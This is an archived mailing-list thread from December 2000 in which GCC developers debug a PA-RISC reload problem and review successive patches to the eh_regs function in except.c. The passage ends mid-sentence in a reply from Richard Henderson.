	Fri, 8 Dec 2000 17:39:48 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id RAA04227; Fri, 8 Dec 2000 17:39:48 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <200012090107.UAA28226@hiauly1.hia.nrc.ca>; from John David Anglin on Fri, Dec 08, 2000 at 08:07:23PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8828

On Fri, Dec 08, 2000 at 08:07:23PM -0500, John David Anglin wrote:
> It is my impression that the MEM would pass as a general_operand unless
> the volatile flag is set.  It will pass GO_IF_LEGITIMATE_ADDRESS.  Thus,
> the general_operand test doesn't look like it will work.

Your GO_IF_LEGITIMATE_ADDRESS will accept the UNSPEC?
The mind boggles.  Why, then, is this strange beast its own insn?

Perhaps that is part of the bug...


r~


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 22:12:43 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200012090312.WAA00684@hiauly1.hia.nrc.ca>
References: <20001208173948.B4198@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619412 8329 80.91.229.3 (22 Nov 2014 01:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:32 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec  8 20:10:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA32437
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 20:10:17 -0700
Original-Received: (qmail 28649 invoked by uid 15267); 9 Dec 2000 03:12:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28635 invoked from network); 9 Dec 2000 03:12:58 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 03:12:58 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id WAA00684;
	Fri, 8 Dec 2000 22:12:44 -0500 (EST)
In-Reply-To: <20001208173948.B4198@redhat.com> from "Richard Henderson" at Dec 8, 2000 05:39:48 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8829

> 
> On Fri, Dec 08, 2000 at 08:07:23PM -0500, John David Anglin wrote:
> > It is my impression that the MEM would pass as a general_operand unless
> > the volatile flag is set.  It will pass GO_IF_LEGITIMATE_ADDRESS.  Thus,
> > the general_operand test doesn't look like it will work.
> 
> Your GO_IF_LEGITIMATE_ADDRESS will accept the UNSPEC?
> The mind boggles.  Why, then, is this strange beast its own insn?

Sure looks like it:

#define GO_IF_LEGITIMATE_ADDRESS(MODE, X, ADDR)  \ 
[snip]
  /* Needed for -fPIC */                                \
  else if (GET_CODE (X) == LO_SUM                       \
           && GET_CODE (XEXP (X, 0)) == REG             \
           && REG_OK_FOR_BASE_P (XEXP (X, 0))           \
           && GET_CODE (XEXP (X, 1)) == UNSPEC)         \
    goto ADDR;                                          \
}

The comment for the insn used to load a PIC MEM says:

; We need this to make sure CSE doesn't simplify a memory load with a
; symbolic address, whose content it think it knows.  For PIC, what CSE
; think is the real value will be the address of that value.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 08 Dec 2000 21:05:27 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <23471.976334727@upchuck>
References: <20001208173948.B4198@redhat.com>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619413 8331 80.91.229.3 (22 Nov 2014 01:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, alan@linuxcare.com.au,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: law@upchuck.cygnus.com  Fri Dec  8 21:02:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA00801
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 21:02:43 -0700
Original-Received: (qmail 4809 invoked by uid 15267); 9 Dec 2000 04:04:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4801 invoked from network); 9 Dec 2000 04:04:34 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 04:04:34 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id UAA13802
	for <parisc-linux@thepuffingroup.com>; Fri, 8 Dec 2000 20:04:23 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id VAA23474;
	Fri, 8 Dec 2000 21:05:28 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 08 Dec 2000 17:39:48 PST.
             <20001208173948.B4198@redhat.com> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:8830

  In message <20001208173948.B4198@redhat.com>you write:
  > On Fri, Dec 08, 2000 at 08:07:23PM -0500, John David Anglin wrote:
  > > It is my impression that the MEM would pass as a general_operand unless
  > > the volatile flag is set.  It will pass GO_IF_LEGITIMATE_ADDRESS.  Thus,
  > > the general_operand test doesn't look like it will work.
  > 
  > Your GO_IF_LEGITIMATE_ADDRESS will accept the UNSPEC?
  > The mind boggles.  Why, then, is this strange beast its own insn?
  > 
  > Perhaps that is part of the bug...
Ironic that this is the hack that I ripped out (for basically the same reasons)
when I started working on V3.

Unfortunately, I can't actually test it yet to see what problems removing
that old hack will expose (FWIW, it's not my hack, and it pre-dates movement
of everything to public lists, so there's no discussion of why the change
was made).


jeff


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 22:55:52 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20001208225552.A4476@redhat.com>
References: <20001208173948.B4198@redhat.com> <23471.976334727@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619413 8333 80.91.229.3 (22 Nov 2014 01:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, alan@linuxcare.com.au,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Jeffrey A Law <law@redhat.com>
Original-X-From: rth@cygnus.com  Fri Dec  8 23:53:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA02260
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Dec 2000 23:53:21 -0700
Original-Received: (qmail 2631 invoked by uid 15267); 9 Dec 2000 06:55:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2624 invoked from network); 9 Dec 2000 06:55:53 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 06:55:53 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id WAA19004;
	Fri, 8 Dec 2000 22:55:52 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id WAA04479; Fri, 8 Dec 2000 22:55:52 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <23471.976334727@upchuck>; from Jeffrey A Law on Fri, Dec 08, 2000 at 09:05:27PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8831

On Fri, Dec 08, 2000 at 09:05:27PM -0700, Jeffrey A Law wrote:
> Unfortunately, I can't actually test it yet to see what problems removing
> that old hack will expose...

Heh.  Perhaps you could forward it to the hppa-linux folk and
see what happens there.  Mayhap their linker is differently
crash-prone.


r~


From - Thu Nov 08 21:14:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 9 Dec 2000 18:52:13 +1100 (EST)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012091544270.17519-100000@front.linuxcare.com.au>
References: <23471.976334727@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619413 8334 80.91.229.3 (22 Nov 2014 01:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:33 +0000 (UTC)
Cc: Richard Henderson <rth@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  9 00:50:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA03273
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 00:50:01 -0700
Original-Received: (qmail 9761 invoked by uid 15267); 9 Dec 2000 07:52:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9745 invoked from network); 9 Dec 2000 07:52:41 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 07:52:41 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA31286;
	Sat, 9 Dec 2000 18:52:13 +1100
In-Reply-To: <23471.976334727@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:8832

On Fri, 8 Dec 2000, Jeffrey A Law wrote:

> Ironic that this is the hack that I ripped out (for basically the same reasons)
> when I started working on V3.

Talking of hacks, and changing the subject, I've been hacking the pa
prologue and epilogue code for dwarf2 unwind support.  Still at the
head-scratching stage (danger of splinters), with aborts in
dwarf2out_frame_debug_expr, but here's a fix for a couple of problems in
except.c:eh_regs.

	* except.c (eh_regs): Save results of build_pointer_type to a temp
	as FUNCTION_VALUE macro may evaluate its args multiple times.
	When allocating registers, check for GENERAL_REGS class.

On hppa, we tried to allocate r0 :-(

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

--- gcc/except.c~	Mon Dec  4 14:55:35 2000
+++ gcc/except.c	Sat Dec  9 17:48:21 2000
@@ -3000,15 +3000,15 @@ eh_regs (pcontext, psp, pra, outgoing)
 {
   rtx rcontext, rsp, rra;
   unsigned int i;
+  tree t;
 
+  t = build_pointer_type (void_type_node);
 #ifdef FUNCTION_OUTGOING_VALUE
   if (outgoing)
-    rcontext = FUNCTION_OUTGOING_VALUE (build_pointer_type (void_type_node),
-				        current_function_decl);
+    rcontext = FUNCTION_OUTGOING_VALUE (t, current_function_decl);
   else
 #endif
-    rcontext = FUNCTION_VALUE (build_pointer_type (void_type_node),
-			       current_function_decl);
+    rcontext = FUNCTION_VALUE (t, current_function_decl);
 
 #ifdef STATIC_CHAIN_REGNUM
   if (outgoing)
@@ -3023,7 +3023,9 @@ eh_regs (pcontext, psp, pra, outgoing)
   if (rsp == NULL_RTX)
     {
       for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
-	if (call_used_regs[i] && ! fixed_regs[i] && i != REGNO (rcontext))
+	if (call_used_regs[i] && ! fixed_regs[i]
+	    && REGNO_REG_CLASS (i) == GENERAL_REGS
+	    && i != REGNO (rcontext))
 	  break;
       if (i == FIRST_PSEUDO_REGISTER)
 	abort();
@@ -3033,6 +3035,7 @@ eh_regs (pcontext, psp, pra, outgoing)
 
   for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
     if (call_used_regs[i] && ! fixed_regs[i]
+	&& REGNO_REG_CLASS (i) == GENERAL_REGS
 	&& i != REGNO (rcontext) && i != REGNO (rsp))
       break;
   if (i == FIRST_PSEUDO_REGISTER)


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 8 Dec 2000 23:55:46 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20001208235546.A4574@redhat.com>
References: <23471.976334727@upchuck> <Pine.LNX.4.21.0012091544270.17519-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619414 8337 80.91.229.3 (22 Nov 2014 01:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:34 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rth@cygnus.com  Sat Dec  9 00:53:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA03629
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 00:53:06 -0700
Original-Received: (qmail 11884 invoked by uid 15267); 9 Dec 2000 07:55:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11869 invoked from network); 9 Dec 2000 07:55:48 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 07:55:48 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id XAA20445;
	Fri, 8 Dec 2000 23:55:46 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id XAA04580; Fri, 8 Dec 2000 23:55:46 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <Pine.LNX.4.21.0012091544270.17519-100000@front.linuxcare.com.au>; from Alan Modra on Sat, Dec 09, 2000 at 06:52:13PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8833

On Sat, Dec 09, 2000 at 06:52:13PM +1100, Alan Modra wrote:
>    for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
>      if (call_used_regs[i] && ! fixed_regs[i]
> +	&& REGNO_REG_CLASS (i) == GENERAL_REGS

This isn't what you meant.  You meant "is this register a 
member of general regs".  What you got was "is general regs
the most specific class for this register".

Which means that ports like x86 where practically every
register has its own class will break.


r~


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 9 Dec 2000 19:35:20 +1100 (EST)
Lines: 64
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012091927390.32148-100000@front.linuxcare.com.au>
References: <20001208235546.A4574@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619414 8340 80.91.229.3 (22 Nov 2014 01:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:34 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  9 01:32:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA04535
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 01:32:57 -0700
Original-Received: (qmail 5437 invoked by uid 15267); 9 Dec 2000 08:35:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5419 invoked from network); 9 Dec 2000 08:35:38 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 08:35:38 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA00325;
	Sat, 9 Dec 2000 19:35:20 +1100
In-Reply-To: <20001208235546.A4574@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8834

On Fri, 8 Dec 2000, Richard Henderson wrote:

> On Sat, Dec 09, 2000 at 06:52:13PM +1100, Alan Modra wrote:
> >    for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
> >      if (call_used_regs[i] && ! fixed_regs[i]
> > +	&& REGNO_REG_CLASS (i) == GENERAL_REGS
> 
> This isn't what you meant.  You meant "is this register a 
> member of general regs".  What you got was "is general regs
> the most specific class for this register".

Ah.  What I had to start with was REGNO_REG_CLASS (i) != NO_REGS.
Should have stuck with that.  Hmm, I see local_alloc uses
HARD_REGNO_MODE_OK, so is this better?

        * except.c (eh_regs): Save results of build_pointer_type to a temp
        as FUNCTION_VALUE macro may evaluate its args multiple times.
        When allocating registers, check that the mode is OK.

-- 
Linuxcare.  Support for the Revolution.

--- gcc/except.c~	Mon Dec  4 14:55:35 2000
+++ gcc/except.c	Sat Dec  9 18:56:48 2000
@@ -3000,15 +3000,15 @@ eh_regs (pcontext, psp, pra, outgoing)
 {
   rtx rcontext, rsp, rra;
   unsigned int i;
+  tree t;
 
+  t = build_pointer_type (void_type_node);
 #ifdef FUNCTION_OUTGOING_VALUE
   if (outgoing)
-    rcontext = FUNCTION_OUTGOING_VALUE (build_pointer_type (void_type_node),
-				        current_function_decl);
+    rcontext = FUNCTION_OUTGOING_VALUE (t, current_function_decl);
   else
 #endif
-    rcontext = FUNCTION_VALUE (build_pointer_type (void_type_node),
-			       current_function_decl);
+    rcontext = FUNCTION_VALUE (t, current_function_decl);
 
 #ifdef STATIC_CHAIN_REGNUM
   if (outgoing)
@@ -3023,7 +3023,9 @@ eh_regs (pcontext, psp, pra, outgoing)
   if (rsp == NULL_RTX)
     {
       for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
-	if (call_used_regs[i] && ! fixed_regs[i] && i != REGNO (rcontext))
+	if (call_used_regs[i] && ! fixed_regs[i]
+	    && HARD_REGNO_MODE_OK (i, Pmode)
+	    && i != REGNO (rcontext))
 	  break;
       if (i == FIRST_PSEUDO_REGISTER)
 	abort();
@@ -3033,6 +3035,7 @@ eh_regs (pcontext, psp, pra, outgoing)
 
   for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
     if (call_used_regs[i] && ! fixed_regs[i]
+	&& HARD_REGNO_MODE_OK (i, Pmode)
 	&& i != REGNO (rcontext) && i != REGNO (rsp))
       break;
   if (i == FIRST_PSEUDO_REGISTER)


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sun, 10 Dec 2000 00:57:03 +1100 (EST)
Lines: 94
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012100011540.32148-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0012091927390.32148-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619414 8341 80.91.229.3 (22 Nov 2014 01:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:34 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  9 06:54:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA08310
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 06:54:41 -0700
Original-Received: (qmail 7663 invoked by uid 15267); 9 Dec 2000 13:57:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7652 invoked from network); 9 Dec 2000 13:57:21 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 13:57:21 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA12853;
	Sun, 10 Dec 2000 00:57:03 +1100
In-Reply-To: <Pine.LNX.4.21.0012091927390.32148-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8835

On Sat, 9 Dec 2000, Alan Modra wrote:

> Ah.  What I had to start with was REGNO_REG_CLASS (i) != NO_REGS.
> Should have stuck with that.  Hmm, I see local_alloc uses
> HARD_REGNO_MODE_OK, so is this better?

Grrr, that allocates r1 first, which loses on 32-bit hppa.  Here's yet
another try, a little more sophisticated this time.

        * except.c (eh_regs): Save results of build_pointer_type to a temp
        as FUNCTION_VALUE macro may evaluate its args multiple times.
        When allocating registers, do so according to REG_ALLOC_ORDER and
	choose GENERAL_REGS.

I was tempted to remove the call_used_regs and fixed_regs tests when
REG_ALLOC_ORDER is defined, but on checking some targets found i860 has a
fixed reg as it's no. 1 priority reg.  Strange.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

--- gcc/except.c~	Mon Dec  4 14:55:35 2000
+++ gcc/except.c	Sun Dec 10 00:11:29 2000
@@ -2999,16 +2999,16 @@ eh_regs (pcontext, psp, pra, outgoing)
      int outgoing ATTRIBUTE_UNUSED;
 {
   rtx rcontext, rsp, rra;
-  unsigned int i;
+  unsigned int i, r;
+  tree t;
 
+  t = build_pointer_type (void_type_node);
 #ifdef FUNCTION_OUTGOING_VALUE
   if (outgoing)
-    rcontext = FUNCTION_OUTGOING_VALUE (build_pointer_type (void_type_node),
-				        current_function_decl);
+    rcontext = FUNCTION_OUTGOING_VALUE (t, current_function_decl);
   else
 #endif
-    rcontext = FUNCTION_VALUE (build_pointer_type (void_type_node),
-			       current_function_decl);
+    rcontext = FUNCTION_VALUE (t, current_function_decl);
 
 #ifdef STATIC_CHAIN_REGNUM
   if (outgoing)
@@ -3023,22 +3023,39 @@ eh_regs (pcontext, psp, pra, outgoing)
   if (rsp == NULL_RTX)
     {
       for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
-	if (call_used_regs[i] && ! fixed_regs[i] && i != REGNO (rcontext))
-	  break;
+	{
+#ifdef REG_ALLOC_ORDER
+	  r = reg_alloc_order[i];
+#else
+	  r = i;
+#endif
+	  if (call_used_regs[r] && ! fixed_regs[r]
+	      && TEST_HARD_REG_BIT (reg_class_contents[(int) GENERAL_REGS], r)
+	      && r != REGNO (rcontext))
+	    break;
+	}
       if (i == FIRST_PSEUDO_REGISTER)
 	abort();
 
-      rsp = gen_rtx_REG (Pmode, i);
+      rsp = gen_rtx_REG (Pmode, r);
     }
 
   for (i = 0; i < FIRST_PSEUDO_REGISTER; ++i)
-    if (call_used_regs[i] && ! fixed_regs[i]
-	&& i != REGNO (rcontext) && i != REGNO (rsp))
-      break;
+    {
+#ifdef REG_ALLOC_ORDER
+      r = reg_alloc_order[i];
+#else
+      r = i;
+#endif
+      if (call_used_regs[r] && ! fixed_regs[r]
+	  && TEST_HARD_REG_BIT (reg_class_contents[(int) GENERAL_REGS], r)
+	  && r != REGNO (rcontext) && r != REGNO (rsp))
+	break;
+    }
   if (i == FIRST_PSEUDO_REGISTER)
     abort();
 
-  rra = gen_rtx_REG (Pmode, i);
+  rra = gen_rtx_REG (Pmode, r);
 
   *pcontext = rcontext;
   *psp = rsp;


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 9 Dec 2000 10:56:07 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20001209105607.A5191@redhat.com>
References: <Pine.LNX.4.21.0012091927390.32148-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0012100011540.32148-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619415 8346 80.91.229.3 (22 Nov 2014 01:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:35 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rth@cygnus.com  Sat Dec  9 11:53:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA09987
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 11:53:28 -0700
Original-Received: (qmail 20293 invoked by uid 15267); 9 Dec 2000 18:56:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20284 invoked from network); 9 Dec 2000 18:56:10 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 18:56:10 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA07257;
	Sat, 9 Dec 2000 10:56:08 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id KAA05196; Sat, 9 Dec 2000 10:56:07 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <Pine.LNX.4.21.0012100011540.32148-100000@front.linuxcare.com.au>; from Alan Modra on Sun, Dec 10, 2000 at 12:57:03AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8836

On Sun, Dec 10, 2000 at 12:57:03AM +1100, Alan Modra wrote:
> Grrr, that allocates r1 first, which loses on 32-bit hppa.

Err, elaborate on "loses".

>       When allocating registers, do so according to REG_ALLOC_ORDER and
> 	choose GENERAL_REGS.

The problem with this is that you've broken the ABI for all
